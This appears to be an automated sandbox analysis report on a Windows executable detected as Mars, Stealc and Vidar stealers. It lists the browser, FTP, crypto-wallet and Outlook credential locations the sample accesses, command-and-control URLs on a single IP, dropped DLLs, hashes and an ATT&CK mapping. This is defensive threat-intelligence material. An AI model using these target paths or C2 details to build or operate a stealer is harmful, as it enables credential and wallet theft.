Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: UvswnLTk5d.exe PID: 5900, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UvswnLTk5d.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UvswnLTk5d.exe PID: 5900, type: MEMORYSTR

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE0C40 sqlite3_bind_zeroblob,	0_2_6CFE0C40
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE0D60 sqlite3_bind_parameter_name,	0_2_6CFE0D60
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF08EA0 sqlite3_clear_bindings,	0_2_6CF08EA0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CFE0B40
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF06410 bind,WSAGetLastError,	0_2_6CF06410
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF060B0 listen,WSAGetLastError,	0_2_6CF060B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF06070 PR_Listen,	0_2_6CF06070
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF0C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CF0C050
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF0C030 sqlite3_bind_parameter_count,	0_2_6CF0C030
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CE922D0 sqlite3_bind_blob,	0_2_6CE922D0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF063C0 PR_Bind,	0_2_6CF063C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	31 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	12 Process Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	145 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UvswnLTk5d.exe	45%	ReversingLabs	Win32.Trojan.Generic
UvswnLTk5d.exe	51%	Virustotal		Browse
UvswnLTk5d.exe	100%	Avira	HEUR/AGEN.1310442
UvswnLTk5d.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://mozilla.org0/	0%	URL Reputation	safe
http://185.172.1	0%	Virustotal		Browse
http://185.172.128.23	2%	Virustotal		Browse

Name	Malicious	Reputation
http://185.172.128.23/8e6d9db21fb63946/nss3.dll	true	unknown
185.172.128.23/f993692117a3fda2.php	true	low
http://185.172.128.23/f993692117a3fda2.php	true	unknown
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll	true	unknown
http://185.172.128.23/8e6d9db21fb63946/mozglue.dll	true	unknown
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll	true	unknown
http://185.172.128.23/8e6d9db21fb63946/softokn3.dll	true	unknown
http://185.172.128.23/8e6d9db21fb63946/vcruntime140.dll	true	unknown
http://185.172.128.23/8e6d9db21fb63946/freebl3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.172.128.23/f993692117a3fda2.phpt	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	false		high
https://duckduckgo.com/ac/?q=	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
http://185.172.128.23/8e6d9db21fb63946/msvcp140.dll)	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.p;	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	UvswnLTk5d.exe, 00000000.00000003.1746777104.00000000233ED000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.172.128.23/8e6d9db21fb63946/nss3.dll$?Wg	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpo	UvswnLTk5d.exe, 00000000.00000002.2194035011.0000000029513000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.pF	UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpWe	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpV	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpX	UvswnLTk5d.exe, 00000000.00000002.2194035011.0000000029513000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.1Y	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		low
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
http://185.172.128.23/f993692117a3fda2.phpb	UvswnLTk5d.exe, 00000000.00000002.2194035011.0000000029513000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23XYIg	UvswnLTk5d.exe, 00000000.00000002.2177676362.0000000002DAE000.00000004.00000020.00020000.00000000.sdmp	false		low
http://185.172.128.23/f993692117	UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.172.128.23/f993692117a3fda2.phpF	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.1	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse	low
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.172.128.23/f993692117a3fda2.p	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.172.128.23/f993692117a3fda2.phpN	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	UvswnLTk5d.exe, 00000000.00000002.2197057946.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dll8	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	UvswnLTk5d.exe, UvswnLTk5d.exe, 00000000.00000002.2197467446.000000006F90D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.172.128.23/f9	UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
http://185.172.128.23	UvswnLTk5d.exe, 00000000.00000002.2177676362.0000000002DAE000.00000004.00000020.00020000.00000000.sdmp	true	2%, Virustotal, Browse	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
http://185.172.128.23/f993692117a3fda2.php&	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	UvswnLTk5d.exe, 00000000.00000003.1746777104.00000000233ED000.00000004.00000020.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		high
https://www.ecosia.org/newtab/	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
http://185.172.128.23/f993692117a3fda2.php.	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	false		high
https://ac.ecosia.org/autocomplete?q=	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high
http://185.172.128.23/f993692117a3fda2.p2	UvswnLTk5d.exe, 00000000.00000002.2194035011.00000000294E4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/nss3.dllJ	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpDz	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phpuments	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	false		high
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllo	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/sqlite3.dllc_	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/8e6d9db21fb63946/softokn3.dll5	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.172.128.23/f993692117a3fda2.phped4e30b6bb11025203694d8734761	UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp, EBAKEBAE.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.23	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427165
Start date and time:	2024-04-17 06:56:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	UvswnLTk5d.exe renamed because original name is a hash value
Original Sample Name:	e2d45c465fd698e29d05ce3401c01222.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/38@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 77 Number of non-executed functions: 229
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:57:49	API Interceptor	1x Sleep call for process: WerFault.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NADYMSS-ASRU	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.209
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.209
	9MdXmCCS7M.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.26
	syYLq7N3cl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.26
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse	185.172.128.26
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	185.172.128.209
	odB2NhqqLn.exe	Get hash	malicious	Unknown	Browse	185.172.128.59
	jhwTchfZRO.exe	Get hash	malicious	Unknown	Browse	185.172.128.59
	bUWKfj04aU.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine	Browse	185.172.128.19
	SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse	185.172.128.209

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	9MdXmCCS7M.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	syYLq7N3cl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	V61n3LLRi6.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	ylUZYIm2Lx.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	9MdXmCCS7M.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	syYLq7N3cl.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe	Get hash	malicious	Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader	Browse
	aOnhHEghbr.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	V61n3LLRi6.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEBAFBGIDHCBFHIECFCB

Download File

Process:	C:\Users\user\Desktop\UvswnLTk5d.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
